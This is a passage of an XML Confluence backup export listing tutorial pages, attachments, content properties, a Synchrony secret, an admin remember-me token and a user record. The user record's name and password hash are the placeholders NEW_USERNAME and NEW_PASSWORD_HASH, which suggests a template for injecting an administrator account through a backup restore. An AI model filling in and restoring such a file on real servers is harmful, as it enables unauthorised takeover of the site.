<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
|
||||
<property name="stringValue"/><property name="longValue">14</property>
|
||||
<property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262148</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[c6887e71-b34a-4cf8-b4d4-36b53ff35592]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262147</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[881dbc25-a20d-4773-b5a8-2a402abcfd9d]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262146</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[34cd463c-b2be-49e6-9006-62679d6a59f1]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="ContentProperty" package="com.atlassian.confluence.content">
|
||||
<id name="id">262145</id>
|
||||
<property name="name"><![CDATA[share-id]]></property>
|
||||
<property name="stringValue"><![CDATA[8b24739b-eaaa-404e-8897-e347c68f3974]]></property>
|
||||
<property name="longValue"/><property name="dateValue"/></object>
|
||||
<object class="Secrets" package="com.atlassian.synchrony">
|
||||
<id name="key"><![CDATA[Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad-debug]]></id>
|
||||
<property name="value"><![CDATA[ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceRememberMeToken" package="com.atlassian.confluence.user.persistence.dao">
|
||||
<id name="id">622593</id>
|
||||
<property name="username"><![CDATA[admin]]></property>
|
||||
<property name="createdTime">1699509859137</property>
|
||||
<property name="token"><![CDATA[d24ab7e045f654b651978d7fb48f0ce945461128]]></property>
|
||||
</object>
|
||||
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">557060</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="name"><![CDATA[lastAuthenticated]]></property>
|
||||
<property name="value"><![CDATA[1699509892791]]></property>
|
||||
<property name="lowerValue"><![CDATA[1699509892791]]></property>
|
||||
</object>
|
||||
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">557059</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="name"><![CDATA[passwordLastChanged]]></property>
|
||||
<property name="value"><![CDATA[1699509858738]]></property>
|
||||
<property name="lowerValue"><![CDATA[1699509858738]]></property>
|
||||
</object>
|
||||
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">557058</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="name"><![CDATA[invalidPasswordAttempts]]></property>
|
||||
<property name="value"><![CDATA[0]]></property>
|
||||
<property name="lowerValue"><![CDATA[0]]></property>
|
||||
</object>
|
||||
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">557057</id>
|
||||
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
|
||||
</property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<property name="name"><![CDATA[requiresPasswordChange]]></property>
|
||||
<property name="value"><![CDATA[false]]></property>
|
||||
<property name="lowerValue"><![CDATA[false]]></property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98306</id>
|
||||
<property name="hibernateVersion">37</property>
|
||||
<property name="title"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163845</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196614</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196617</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196619</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196620</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262151</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262165</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.780</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98343</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">8</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98305</id>
|
||||
<property name="hibernateVersion">24</property>
|
||||
<property name="title"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163847</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196615</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196618</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196622</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196623</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196626</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262161</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262164</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.784</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98344</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position">7</property>
|
||||
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98310</id>
|
||||
<property name="hibernateVersion">11</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262180</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.788</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98309</id>
|
||||
<property name="hibernateVersion">11</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262186</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.792</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98308</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262174</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.804</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98307</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262176</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.879</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="InternalUser" package="com.atlassian.crowd.model.user">
|
||||
<id name="id">491521</id>
|
||||
<property name="name"><![CDATA[NEW_USERNAME]]></property>
|
||||
<property name="lowerName"><![CDATA[NEW_USERNAME_LOWER]]></property>
|
||||
<property name="active">true</property>
|
||||
<property name="createdDate">2023-11-09 06:04:18.716</property>
|
||||
<property name="updatedDate">2023-11-09 06:04:18.716</property>
|
||||
<property name="firstName"><![CDATA[]]></property>
|
||||
<property name="lowerFirstName"><![CDATA[]]></property>
|
||||
<property name="lastName"><![CDATA[admin]]></property>
|
||||
<property name="lowerLastName"><![CDATA[admin]]></property>
|
||||
<property name="displayName"><![CDATA[admin]]></property>
|
||||
<property name="lowerDisplayName"><![CDATA[admin]]></property>
|
||||
<property name="emailAddress"><![CDATA[admin@test.com]]></property>
|
||||
<property name="lowerEmailAddress"><![CDATA[admin@test.com]]></property>
|
||||
<property name="externalId"><![CDATA[d1c26bc5-04d3-4c31-b230-c9454e51186d]]></property>
|
||||
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
|
||||
</property>
|
||||
<component name="credential"><property name="credential" type="string"><![CDATA[NEW_PASSWORD_HASH]]></property>
|
||||
</component>
|
||||
<collection name="credentialRecords" class="java.util.List"><element class="InternalUserCredentialRecord" package="com.atlassian.crowd.model.user"><id name="id">524289</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="attributes" class="java.util.Set"><element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557058</id>
|
||||
</element>
|
||||
<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557060</id>
|
||||
</element>
|
||||
<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557057</id>
|
||||
</element>
|
||||
<element class="InternalUserAttribute" package="com.atlassian.crowd.model.user"><id name="id">557059</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98330</id>
|
||||
<property name="hibernateVersion">14</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262172</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.895</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98341</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[step05-04.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step05-04.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262254</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262255</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262256</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262260</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">3</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98329</id>
|
||||
<property name="hibernateVersion">14</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262170</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.903</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98342</id>
|
||||
<property name="hibernateVersion">18</property>
|
||||
<property name="title"><![CDATA[home.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[home.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262204</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262223</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262230</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98328</id>
|
||||
<property name="hibernateVersion">10</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262187</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.909</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98339</id>
|
||||
<property name="hibernateVersion">16</property>
|
||||
<property name="title"><![CDATA[step-2-image-5.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step-2-image-5.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262209</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262212</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262213</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262243</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">2</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98327</id>
|
||||
<property name="hibernateVersion">13</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262190</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.915</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98340</id>
|
||||
<property name="hibernateVersion">19</property>
|
||||
<property name="title"><![CDATA[step06-image03.png]]></property>
|
||||
<property name="lowerTitle"><![CDATA[step06-image03.png]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262211</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262214</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262224</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262244</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">2</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98334</id>
|
||||
<property name="hibernateVersion">14</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262169</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.921</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98345</id>
|
||||
<property name="hibernateVersion">17</property>
|
||||
<property name="title"><![CDATA[home.jpg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[home.jpg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262226</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262229</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262242</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98333</id>
|
||||
<property name="hibernateVersion">13</property>
|
||||
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262192</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.927</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[draft]]></property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</element>
|
||||
</collection>
|
||||
</object>
|
||||
<object class="Attachment" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98346</id>
|
||||
<property name="hibernateVersion">19</property>
|
||||
<property name="title"><![CDATA[Confluence-Origami-Necktie.jpeg]]></property>
|
||||
<property name="lowerTitle"><![CDATA[confluence-origami-necktie.jpeg]]></property>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262222</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262239</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262240</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="Page" package="com.atlassian.confluence.pages">
|
||||
<id name="id">98332</id>
|
||||
<property name="hibernateVersion">71</property>
|
||||
<property name="title"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
|
||||
<property name="lowerTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
|
||||
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163846</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196654</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196655</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196656</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196657</id>
|
||||
</element>
|
||||
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196658</id>
|
||||
</element>
|
||||
</collection>
|
||||
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262149</id>
|
||||
</element>
|
||||
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262152</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="version">1</property>
|
||||
<property name="creationDate">2020-10-26 15:44:29.341</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:51.989</property>
|
||||
<property name="versionComment"><![CDATA[]]></property>
|
||||
<property name="contentStatus"><![CDATA[current]]></property>
|
||||
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98341</id>
|
||||
